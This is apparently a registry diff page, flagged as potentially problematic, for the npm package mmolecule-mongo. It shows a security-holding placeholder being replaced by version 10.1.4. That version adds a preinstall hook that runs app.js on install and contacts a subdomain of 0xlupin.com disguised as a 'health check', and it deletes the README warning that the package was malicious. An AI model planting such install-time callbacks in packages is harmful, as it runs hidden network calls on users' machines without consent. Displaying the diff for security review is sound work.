mmolecule-mongo 0.0.1-security → 10.1.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of mmolecule-mongo might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/app.js +18 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/app.js ADDED
@@ -0,0 +1,18 @@
1
+ const http = require('http');
2
+ const os = require('os');
3
+
4
+ // Preparing Authorization Forms
5
+ const package_name = "mmolecule-mongo";
6
+
7
+ const health_check = `http://${package_name}.package.0xlupin.com`;
8
+
9
+ // Check if computer is authorized to ping lupin.monster
10
+ http.get(health_check, (res) => {
11
+ if (res.statusCode === 200) {
12
+ console.log('\x1b[36m%s\x1b[0m', '[*] mmolecule-mongo was installed successfully');
13
+ } else {
14
+ console.log(`Request failed with status code ${res.statusCode}`);
15
+ }
16
+ }).on('error', (e) => {
17
+ console.error(`Got error: ${e.message}`);
18
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "mmolecule-mongo",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "10.1.4",
4
+ "description": "",
5
+ "main": "node app.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node app.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=mmolecule-mongo for more information.